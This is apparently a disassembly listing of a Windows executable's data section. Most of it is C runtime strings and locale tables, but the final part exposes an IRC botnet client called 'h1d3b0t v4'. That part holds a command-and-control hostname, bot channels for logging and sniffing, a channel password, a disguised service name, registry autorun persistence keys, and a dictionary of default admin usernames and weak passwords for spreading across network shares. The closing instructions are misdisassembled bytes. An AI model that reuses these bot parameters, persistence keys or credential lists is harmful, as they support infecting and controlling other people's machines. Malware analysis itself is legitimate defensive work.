dword_4382E4	dd 61647473h, 2E766772h, 63h ; DATA XREF: sub_429EE0+72o
dword_4382F0	dd 6E655F61h, 632E76h	; DATA XREF: sub_42A3F0+E8o
					; sub_42A3F0+1C6o
dword_4382F8	dd 6E696F69h, 632E7469h, 0 ; DATA XREF:	sub_42A610+Bo
					; sub_42A610+106o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 0A0Dh, 534F4C54h
		dd 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh
		dd 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .nsp0:off_451C7Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVis_0	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_42AB10+1A4o
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_42AB10:loc_42AC5Ao
		db 0Ah
		db 'Program: ',0
		align 4
aWinsig_c	db 'winsig.c',0         ; DATA XREF: .nsp0:0042B231o
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_42B680+5Fo
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_42B680:loc_42B6CBo
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_42B680+2Ao
aOsfinfo_c	db 'osfinfo.c',0        ; DATA XREF: sub_42B740+138o
		align 10h
dword_438620	dd 0FFFFFFFFh, 42C244h,	42C24Ah	; DATA XREF: sub_42C100+5o
dword_43862C	dd 7465675Fh, 2E667562h, 63h ; DATA XREF: sub_42C2C0+16o
					; sub_42C2C0+48o
dword_438638	dd 6F74626Dh, 632E6377h, 0 ; DATA XREF:	sub_42CB10+21o
aMb_cur_max1Mb_	db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: sub_42CB10+18o
		align 4
aUngetc_c	db 'ungetc.c',0         ; DATA XREF: .nsp0:0042CCA6o
					; sub_42CD00+16o
		align 4
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTzset_c	db 'tzset.c',0          ; DATA XREF: sub_42DF80+1D1o
aTz		db 'TZ',0               ; DATA XREF: sub_42DF80+35o
		align 10h
aInittime_c	db 'inittime.c',0       ; DATA XREF: sub_42E860+13o
		align 4
aInitnum_c	db 'initnum.c',0        ; DATA XREF: sub_42F1E0+1CFo
					; sub_42F1E0+215o ...
		align 4
aInitmon_c	db 'initmon.c',0        ; DATA XREF: sub_42F510+13o
		align 4
aInitctyp_c	db 'initctyp.c',0       ; DATA XREF: sub_42F970+52o
					; sub_42F970+6Bo ...
		align 10h
aParaguay	db 'Paraguay',0
		align 4
aUruguay	db 'Uruguay',0
aChile		db 'Chile',0            ; DATA XREF: .nsp0:004522A4o
		align 4
aEcuador	db 'Ecuador',0          ; DATA XREF: .nsp0:00452278o
aArgentina	db 'Argentina',0
		align 10h
aPeru		db 'Peru',0
		align 4
aColombia	db 'Colombia',0         ; DATA XREF: .nsp0:004521F4o
		align 4
aVenezuela	db 'Venezuela',0
		align 10h
aDominicanRepub	db 'Dominican Republic',0 ; DATA XREF: .nsp0:0045219Co
		align 4
aSouthAfrica	db 'South Africa',0
		align 4
aPanama		db 'Panama',0           ; DATA XREF: .nsp0:00452144o
		align 4
aLuxembourg	db 'Luxembourg',0       ; DATA XREF: .nsp0:00452118o
		align 4
aCostaRica	db 'Costa Rica',0       ; DATA XREF: .nsp0:004520ECo
		align 4
aSwitzerland	db 'Switzerland',0
aGuatemala	db 'Guatemala',0        ; DATA XREF: .nsp0:00452094o
		align 4
aCanada		db 'Canada',0           ; DATA XREF: .nsp0:00452068o
		align 4
aSpanishModernS	db 'Spanish - Modern Sort',0 ; DATA XREF: .nsp0:00452034o
		align 4
aAustralia	db 'Australia',0        ; DATA XREF: .nsp0:00452010o
		align 4
aEnglish	db 'English',0          ; DATA XREF: .nsp0:00452008o
					; .nsp0:00452168o
aAustria	db 'Austria',0          ; DATA XREF: .nsp0:00451FE4o
aGerman		db 'German',0           ; DATA XREF: .nsp0:00451FDCo
		align 10h
aBelgium	db 'Belgium',0          ; DATA XREF: .nsp0:00451FB8o
aMexico		db 'Mexico',0           ; DATA XREF: .nsp0:00451F8Co
		align 10h
aSpanish	db 'Spanish',0          ; DATA XREF: .nsp0:00451F84o
					; .nsp0:0045208Co ...
aBasque		db 'Basque',0           ; DATA XREF: .nsp0:00451F58o
		align 10h
aSweden		db 'Sweden',0           ; DATA XREF: .nsp0:00451F34o
		align 4
aSwedish	db 'Swedish',0          ; DATA XREF: .nsp0:00451F2Co
aIceland	db 'Iceland',0          ; DATA XREF: .nsp0:00451F08o
aIcelandic	db 'Icelandic',0        ; DATA XREF: .nsp0:00451F00o
		align 4
aFrance		db 'France',0           ; DATA XREF: .nsp0:00451EDCo
		align 4
aFrench		db 'French',0           ; DATA XREF: .nsp0:00451ED4o
					; .nsp0:00451FB0o ...
		align 4
aFinland	db 'Finland',0          ; DATA XREF: .nsp0:00451EB0o
aFinnish	db 'Finnish',0          ; DATA XREF: .nsp0:00451EA8o
aSpain		db 'Spain',0            ; DATA XREF: .nsp0:off_451E84o
					; .nsp0:00451F60o ...
		align 4
aSpanishTraditi	db 'Spanish - Traditional Sort',0 ; DATA XREF: .nsp0:off_451E7Co
		align 4
aUnitedStates	db 'united-states',0
		align 4
aUnitedKingdom	db 'united-kingdom',0
		align 4
aTrinidadTobago	db 'trinidad & tobago',0
		align 4
aSouthKorea	db 'south-korea',0
aSouthAfrica_0	db 'south-africa',0
		align 4
aSouthKorea_0	db 'south korea',0
aSouthAfrica_1	db 'south africa',0
		align 4
aSlovak		db 'slovak',0
		align 4
aPuertoRico	db 'puerto-rico',0
aPrChina	db 'pr-china',0
		align 4
aPrChina_0	db 'pr china',0
		align 10h
aNz		db 'nz',0
		align 4
aNewZealand	db 'new-zealand',0
aHongKong	db 'hong-kong',0
		align 4
aHolland	db 'holland',0
aGreatBritain	db 'great britain',0
		align 4
aEngland	db 'england',0
aCzech		db 'czech',0
		align 4
aChina		db 'china',0
		align 4
aBritain	db 'britain',0          ; DATA XREF: .nsp0:00452330o
aAmerica	db 'america',0          ; DATA XREF: .nsp0:off_452328o
aUsa_0		db 'usa',0
aUs		db 'us',0
		align 4
aUk		db 'uk',0
		align 4
aSwiss		db 'swiss',0
		align 10h
aSwedishFinland	db 'swedish-finland',0
aSpanishVenezue	db 'spanish-venezuela',0
		align 4
aSpanishUruguay	db 'spanish-uruguay',0
aSpanishPuertoR	db 'spanish-puerto rico',0
aSpanishPeru	db 'spanish-peru',0
		align 4
aSpanishParagua	db 'spanish-paraguay',0
		align 4
aSpanishPanama	db 'spanish-panama',0
		align 4
aSpanishNicarag	db 'spanish-nicaragua',0
		align 10h
aSpanishModern	db 'spanish-modern',0
		align 10h
aSpanishMexican	db 'spanish-mexican',0
aSpanishHondura	db 'spanish-honduras',0
		align 4
aSpanishGuatema	db 'spanish-guatemala',0
		align 4
aSpanishElSalva	db 'spanish-el salvador',0
aSpanishEcuador	db 'spanish-ecuador',0
aSpanishDominic	db 'spanish-dominican republic',0
		align 4
aSpanishCostaRi	db 'spanish-costa rica',0
		align 4
aSpanishColombi	db 'spanish-colombia',0
		align 10h
aSpanishChile	db 'spanish-chile',0
		align 10h
aSpanishBolivia	db 'spanish-bolivia',0
aSpanishArgenti	db 'spanish-argentina',0
		align 4
aPortugueseBraz	db 'portuguese-brazilian',0
		align 4
aNorwegianNynor	db 'norwegian-nynorsk',0
		align 10h
aNorwegianBokma	db 'norwegian-bokmal',0
		align 4
aNorwegian	db 'norwegian',0
		align 10h
aItalianSwiss	db 'italian-swiss',0
		align 10h
aIrishEnglish	db 'irish-english',0
		align 10h
aGermanSwiss	db 'german-swiss',0
		align 10h
aGermanLuxembou	db 'german-luxembourg',0
		align 4
aGermanLichtens	db 'german-lichtenstein',0
aGermanAustrian	db 'german-austrian',0
aFrenchSwiss	db 'french-swiss',0
		align 4
aFrenchLuxembou	db 'french-luxembourg',0
		align 4
aFrenchCanadian	db 'french-canadian',0
aFrenchBelgian	db 'french-belgian',0
		align 4
aEnglishUsa	db 'english-usa',0
aEnglishUs	db 'english-us',0
		align 4
aEnglishUk	db 'english-uk',0
		align 10h
aEnglishTrinida	db 'english-trinidad y tobago',0
		align 4
aEnglishSouthAf	db 'english-south africa',0
		align 4
aEnglishNz	db 'english-nz',0
		align 10h
aEnglishJamaica	db 'english-jamaica',0
aEnglishIre	db 'english-ire',0
aEnglishCaribbe	db 'english-caribbean',0
		align 10h
aEnglishCan	db 'english-can',0
aEnglishBelize	db 'english-belize',0
		align 4
aEnglishAus	db 'english-aus',0
aEnglishAmerica	db 'english-american',0
		align 4
aDutchBelgian	db 'dutch-belgian',0
		align 4
aChineseTraditi	db 'chinese-traditional',0
aChineseSingapo	db 'chinese-singapore',0
		align 4
aChineseSimplif	db 'chinese-simplified',0
		align 4
aChineseHongkon	db 'chinese-hongkong',0
		align 4
aChinese	db 'chinese',0
aChi		db 'chi',0
aChh		db 'chh',0
aCanadian	db 'canadian',0
		align 4
aBelgian	db 'belgian',0
aAustralian	db 'australian',0
		align 4
aAmericanEnglis	db 'american-english',0
		align 10h
aAmericanEngl_0	db 'american english',0
		align 4
aAmerican	db 'american',0         ; DATA XREF: .nsp0:off_4523E0o
		align 10h
off_438D70	dd offset byte_50434F	; DATA XREF: sub_4306F0:loc_430743o
off_438D74	dd offset byte_504341	; DATA XREF: sub_4306F0+16o
dword_438D78	dd 69736863h, 632E657Ah, 0 ; DATA XREF:	sub_430DB0+38o
dword_438D84	dd 657A6973h, 203D3E20h, 30h ; DATA XREF: sub_430DB0+2Co
dword_438D90	dd 4E512331h, 4E41h	; DATA XREF: sub_431E60:loc_43201Fo
dword_438D98	dd 4E492331h, 46h	; DATA XREF: sub_431E60+19Bo
dword_438DA0	dd 4E492331h, 44h	; DATA XREF: sub_431E60+168o
dword_438DA8	dd 4E532331h, 4E41h, 6D6D3A48h,	73733Ah, 64646464h, 4D4D202Ch
					; DATA XREF: sub_431E60+125o
					; .nsp0:00452698o
		dd 64204D4Dh, 79202C64h, 797979h, 2F642F4Dh, 7979h, 4D50h
		dd 4D41h, 65636544h, 7265626Dh,	0
aNovember	db 'November',0         ; DATA XREF: .nsp0:00452680o
		align 4
aOctober	db 'October',0          ; DATA XREF: .nsp0:0045267Co
aSeptember	db 'September',0        ; DATA XREF: .nsp0:00452678o
		align 4
aAugust		db 'August',0           ; DATA XREF: .nsp0:00452674o
		align 10h
aJuly		db 'July',0             ; DATA XREF: .nsp0:00452670o
		align 4
aJune		db 'June',0             ; DATA XREF: .nsp0:0045266Co
		align 10h
aApril		db 'April',0            ; DATA XREF: .nsp0:00452664o
		align 4
aMarch		db 'March',0            ; DATA XREF: .nsp0:00452660o
		align 10h
aFebruary	db 'February',0         ; DATA XREF: .nsp0:0045265Co
		align 4
aJanuary	db 'January',0          ; DATA XREF: .nsp0:00452658o
aDec		db 'Dec',0              ; DATA XREF: .nsp0:00452654o
aNov		db 'Nov',0              ; DATA XREF: .nsp0:00452650o
aOct		db 'Oct',0              ; DATA XREF: .nsp0:0045264Co
aSep		db 'Sep',0              ; DATA XREF: .nsp0:00452648o
aAug		db 'Aug',0              ; DATA XREF: .nsp0:00452644o
aJul		db 'Jul',0              ; DATA XREF: .nsp0:00452640o
aJun		db 'Jun',0              ; DATA XREF: .nsp0:0045263Co
aMay		db 'May',0              ; DATA XREF: .nsp0:00452638o
					; .nsp0:00452668o
aApr		db 'Apr',0              ; DATA XREF: .nsp0:00452634o
aMar		db 'Mar',0              ; DATA XREF: .nsp0:00452630o
aFeb		db 'Feb',0              ; DATA XREF: .nsp0:0045262Co
aJan		db 'Jan',0              ; DATA XREF: .nsp0:00452628o
aSaturday	db 'Saturday',0         ; DATA XREF: .nsp0:00452624o
		align 10h
aFriday		db 'Friday',0           ; DATA XREF: .nsp0:00452620o
		align 4
aThursday	db 'Thursday',0         ; DATA XREF: .nsp0:0045261Co
		align 4
aWednesday	db 'Wednesday',0        ; DATA XREF: .nsp0:00452618o
		align 10h
aTuesday	db 'Tuesday',0          ; DATA XREF: .nsp0:00452614o
aMonday		db 'Monday',0           ; DATA XREF: .nsp0:00452610o
		align 10h
aSunday		db 'Sunday',0           ; DATA XREF: .nsp0:0045260Co
		align 4
aSat		db 'Sat',0              ; DATA XREF: .nsp0:00452608o
aFri		db 'Fri',0              ; DATA XREF: .nsp0:00452604o
aThu		db 'Thu',0              ; DATA XREF: .nsp0:00452600o
aWed		db 'Wed',0              ; DATA XREF: .nsp0:004525FCo
aTue		db 'Tue',0              ; DATA XREF: .nsp0:004525F8o
aMon		db 'Mon',0              ; DATA XREF: .nsp0:004525F4o
aSun		db 'Sun',0              ; DATA XREF: .nsp0:off_4525F0o
aAP		db 'a/p',0              ; DATA XREF: sub_4333D0:loc_4335C3o
aAmPm		db 'am/pm',0            ; DATA XREF: sub_4333D0:loc_4335A3o
		align 10h
aInithelp_c	db 'inithelp.c',0       ; DATA XREF: sub_4338F0+9Co
					; sub_4338F0+F1o
		align 10h
dword_438EF0	dd 0FFFFFFFFh, 433CB7h,	433CBDh, 0FFFFFFFFh, 433D36h, 433D3Ch
					; DATA XREF: sub_433B90+5o
dword_438F08	dd 6D6F7477h, 766E6562h, 632Eh,	0 ; DATA XREF: sub_4345C0+44o
dword_438F18	dd 0FFFFFFFFh, 43476Dh,	434773h, 0 ; DATA XREF:	sub_434670+5o
dword_438F28	dd 0FFFFFFFFh, 43490Fh,	434915h	; DATA XREF: sub_434810+5o
dword_438F34	dd 6D635F61h, 632E70h	; DATA XREF: sub_4349C0+17Fo
aCchcount10Cchc	db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0
					; DATA XREF: sub_4349C0:loc_434B33o
		align 10h
dword_438F80	dd 0FFFFFFFFh, 434C9Fh,	434CA5h, 0FFFFFFFFh, 434D3Dh, 434D43h
					; DATA XREF: sub_4349C0+5o
dword_438F98	dd 65746573h, 632E766Eh, 0 ; DATA XREF:	sub_434E10+B2o
					; sub_434E10+F2o ...
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_435350+1Fo
		dd offset dword_439098
off_438FB8	dd offset sub_4354D0	; DATA XREF: sub_4353B0+44o
					; sub_435470+1Fo ...
		dd offset sub_435420
		dd offset sub_435440
		dd offset dword_4390E8
off_438FC8	dd offset sub_4355F0	; DATA XREF: sub_435500+16o
					; sub_4355A0+Ao ...
		dd offset sub_435420
		dd offset sub_4355C0
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_435650+1Fo
		dd offset dword_439138
off_438FF0	dd offset sub_435730	; DATA XREF: sub_4356B0+16o
					; sub_4356E0+Ao ...
		dd offset sub_435420
		dd offset sub_435700
		dd offset dword_439168
off_439000	dd offset sub_435C40	; DATA XREF: .nsp0:00435C1Ao
					; sub_435C70+Co ...
		dd offset sub_435DE0
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_435DE0:loc_435DF8o
		align 4
		dd offset dword_4391B0
off_439020	dd offset sub_435E50	; DATA XREF: sub_435E10+Ao
					; .nsp0:00435F3Ao ...
		align 8
dword_439028	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_435F60+Do
		dd 3, 19930520h, 2 dup(0)
off_439048	dd offset off_4529A0	; DATA XREF: .nsp0:0043907Co
					; .nsp0:004390D0o ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_439060	dd offset off_4529B8	; DATA XREF: .nsp0:00439078o
					; .nsp0:004390CCo ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_439060
		dd offset off_439048
dword_439080	dd 4 dup(0)		; DATA XREF: .nsp0:004390A8o
		dd 2, 439078h
dword_439098	dd 3 dup(0)		; DATA XREF: .nsp0:00438FB4o
		dd offset off_4529B8
		dd offset dword_439080+8
		align 10h
off_4390B0	dd offset off_4529D8	; DATA XREF: .nsp0:004390C8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_4390B0
		dd offset off_439060
		dd offset off_439048
		dd 0
		db    0			; DATA XREF: .nsp0:004390F8o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 4390C8h
dword_4390E8	dd 3 dup(0)		; DATA XREF: .nsp0:00438FC4o
		dd offset off_4529D8
		dd offset unk_4390D8
		align 10h
off_439100	dd offset off_4529F8	; DATA XREF: .nsp0:00439118o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_439100
		dd offset off_439060
		dd offset off_439048
		dd 0
		db    0			; DATA XREF: .nsp0:00439148o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 439118h
dword_439138	dd 3 dup(0)		; DATA XREF: .nsp0:00438FECo
		dd offset off_4529F8
		dd offset unk_439128
		dd offset off_439048
dword_439150	dd 4 dup(0)		; DATA XREF: .nsp0:00439178o
		dd 1, 43914Ch
dword_439168	dd 3 dup(0)		; DATA XREF: .nsp0:00438FFCo
		dd offset off_4529A0
		dd offset dword_439150+8
		align 10h
off_439180	dd offset off_452A18	; DATA XREF: .nsp0:00439198o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_439180
dword_43919C	dd 3 dup(0)		; DATA XREF: .nsp0:004391C0o
		dd 1, 439198h
dword_4391B0	dd 3 dup(0)		; DATA XREF: .nsp0:0043901Co
		dd offset off_452A18
		dd offset dword_43919C+4
		align 8
dword_4391C8	dd 19930520h, 2, 4391E8h, 5 dup(0) ; DATA XREF:	.nsp0:loc_435FCFo
		dd 0FFFFFFFFh, 435FB8h,	0
		dd offset sub_435FB0
dword_4391F8	dd 19930520h, 2, 439218h, 5 dup(0) ; DATA XREF:	.nsp0:loc_435FE9o
		dd 0FFFFFFFFh, 435FD9h,	0
		dd offset loc_435FE1
dword_439228	dd 19930520h, 2, 439248h, 1, 439258h, 3	dup(0)
					; DATA XREF: .nsp0:loc_435FF4o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 439270h, 4	dup(0)
		dd offset loc_40D25A
		dd 0
		dd offset off_4529A0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	435CE0h, 2 dup(0)
		dd offset off_4529B8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4353B0h, 2 dup(0)
		dd offset off_4529D8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	435620h, 0
dword_4392E0	dd 3, 4392C0h, 4392A0h,	439280h	; DATA XREF: .nsp0:004392FCo
dword_4392F0	dd 0			; DATA XREF: sub_435350+3Fo
					; sub_4355C0+15o
		dd offset sub_4355A0
		dd 0
		dd offset dword_4392E0
dword_439300	dd 19930520h, 1, 439320h, 5 dup(0) ; DATA XREF:	SEH_435350o
		dd 0FFFFFFFFh, 436000h
dword_439328	dd 19930520h, 1, 439348h, 5 dup(0) ; DATA XREF:	SEH_4353B0o
dword_439348	dd 0FFFFFFFFh, 436020h,	2, 4392A0h, 439280h, 0 ; DATA XREF: .nsp0:0043936Co
dword_439360	dd 0			; DATA XREF: sub_435440+15o
		dd offset sub_435470
		dd 0
		dd offset dword_439348+8
dword_439370	dd 19930520h, 1, 439390h, 5 dup(0) ; DATA XREF:	SEH_435470o
		dd 0FFFFFFFFh, 436040h
dword_439398	dd 19930520h, 1, 4393B8h, 5 dup(0) ; DATA XREF:	SEH_435530o
		dd 0FFFFFFFFh, 436060h,	0
		dd offset off_4529F8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	435760h, 0
dword_4393E0	dd 3, 4393C0h, 4392A0h,	439280h	; DATA XREF: .nsp0:004393FCo
dword_4393F0	dd 0			; DATA XREF: sub_435650+3Fo
					; sub_435700+15o
		dd offset sub_4356E0
		dd 0
		dd offset dword_4393E0
dword_439400	dd 19930520h, 1, 439420h, 5 dup(0) ; DATA XREF:	SEH_435650o
		dd 0FFFFFFFFh, 436080h,	2F6h dup(0)
dword_43A000	dd 0			; DATA XREF: sub_41B540+29o
		dd offset loc_4013FF
		dd offset loc_40CD62
		dd offset sub_40D36B
		dd offset sub_40E1E7
		dd offset sub_435790
dword_43A018	dd 0			; DATA XREF: sub_41B540+24o
dword_43A01C	dd 0			; DATA XREF: sub_41B540+17o
		dd offset sub_41DA10
		dd offset sub_41EB90
		dd offset sub_4246A0
		dd offset sub_42DE30
dword_43A030	dd 0			; DATA XREF: sub_41B540:loc_41B552o
dword_43A034	dd 0			; DATA XREF: sub_41B600+76o
		dd offset sub_41ECC0
dword_43A03C	dd 0			; DATA XREF: sub_41B600:loc_41B671o
dword_43A040	dd 0			; DATA XREF: sub_41B600+88o
		dd offset sub_42DE50
dword_43A048	dd 2 dup(0)		; DATA XREF: sub_41B600:loc_41B683o
dword_43A050	dd 80000002h, 43A168h, 80000002h, 43A198h, 80000001h, 43A168h
					; DATA XREF: sub_401000+7o
dword_43A068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo
dword_43A06C	dd 1A0Bh		; DATA XREF: sub_40141B+49Er
					; sub_40141B+533r
dword_43A070	dd 1B58h		; DATA XREF: sub_40141B+57Fr
dword_43A074	dd 7E4h			; DATA XREF: sub_401CC1:loc_40436Ar
dword_43A078	dd 45h			; DATA XREF: sub_401CC1+1BC3r
					; sub_40B1CC+3Br
dword_43A07C	dd 7D1h			; DATA XREF: sub_401CC1:loc_40396Fr
					; sub_40B1CC:loc_40B5BDr
dword_43A080	dd 201h			; DATA XREF: sub_401CC1:loc_403AFBr
word_43A084	dw 7C7h			; DATA XREF: sub_401CC1:loc_40448Dr
		align 4
dword_43A088	dd 1			; DATA XREF: sub_401CC1+643r
dword_43A08C	dd 1			; DATA XREF: sub_40141B+13Ar
dword_43A090	dd 1			; DATA XREF: sub_40141B:loc_401759r
					; sub_41615A+Cr
byte_43A094	db 78h			; DATA XREF: sub_401CC1+6B2r
					; sub_401CC1+892r ...
		align 4
dword_43A098	dd 9			; DATA XREF: sub_40A112+39r
					; sub_40A112+5Fr ...
dword_43A09C	dd 1			; DATA XREF: sub_4019E1+78r
					; sub_401CC1+273r ...
dword_43A0A0	dd 1			; DATA XREF: sub_4019E1+72r
					; sub_401CC1+26Dr
aK333yx		db 'k333yx',0           ; DATA XREF: sub_40141B+5Do
					; sub_401CC1:loc_4041DDo ...
		align 4
aH1d3b0tV4PiaVe	db 'h1d3b0t v4 Pia Version',0
		align 4
aHi_0		db 'hi',0               ; DATA XREF: sub_401CC1+7034o
					; sub_401CC1+7103o
		align 4
aMom_arabHacker	db 'mom.arab-hacker.org',0 ; DATA XREF: sub_40141B+48Ao
					; sub_40141B+524o
aDd		db '#dd',0              ; DATA XREF: sub_40141B+4AAo
					; sub_40141B+53Ao ...
aDpass		db 'dpass',0            ; DATA XREF: sub_40141B+4C1o
					; sub_40141B+54Co
		align 4
byte_43A0E8	db 61h			; DATA XREF: sub_40141B+140o
					; sub_40141B+164w ...
		db 67h,	6Ch, 61h
		dd 78766378h, 6578652Eh, 0
		dd 6E6E6977h, 2E787465h, 746162h
aWindowsService	db 'Windows Service XP',0 ; DATA XREF: sub_401000+Eo
		align 4
aXx		db 'XX-',0              ; DATA XREF: .nsp0:0040A190o
aWinsysx_dat	db 'winsysx.dat',0
aXI		db '-x+i',0             ; DATA XREF: sub_401CC1+717Co
		align 10h
aXx_0		db '#xx#',0             ; DATA XREF: sub_401CC1+1A26o
					; sub_401CC1+1A37o ...
		align 4
aCyberLog	db '#CYBER-log',0
		align 4
aCyberSniff	db '#CYBER-sniff',0     ; DATA XREF: sub_401CC1+3B13o
		align 4
off_43A154	dd offset dword_43C6A8	; DATA XREF: sub_401CC1:loc_408D51o
off_43A158	dd offset aMircV6_16Khale ; DATA XREF: sub_401CC1+825r
					; sub_401CC1+70ACo
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 10h
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_417DB1+28o
					; sub_4180D5+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_417DB1+D4o
					; sub_4180D5+D4o
		align 10h
		dd offset aAdministrato_0 ; "Administrator"
		dd offset aAdministrato_1 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd offset aUser_3	; "USER"
		align 8
		dd offset dword_4E0750
		dd offset aAdministrato_2 ; "ADMINISTRATOR"
		dd offset aAdministrato_3 ; "Administrator"
		dd offset aAdministrato_4 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot_1	; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_4	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_1	; "SYSTEM"
		dd offset aServer_6	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_1	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase_0	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle_0	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer_0	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
; ---------------------------------------------------------------------------
		or	dl, cl
		inc	ebx
		add	[eax], dl
		retf	43h
; ---------------------------------------------------------------------------
		sbb	al, 0CAh
		inc	ebx
		add	[eax], ch
		retf	43h
; ---------------------------------------------------------------------------
		xor	dl, cl
		inc	ebx
		add	[edx+ecx*8], dh
		inc	ebx
		add	[edx+ecx*8], bh
		inc	ebx
		add	[edx+ecx*8+43h], al
		add	[edx+ecx*8+43h], cl
		add	[eax-36h], dl
		inc	ebx
		add	[eax-36h], bl
		inc	ebx
		add	[eax-36h], ah
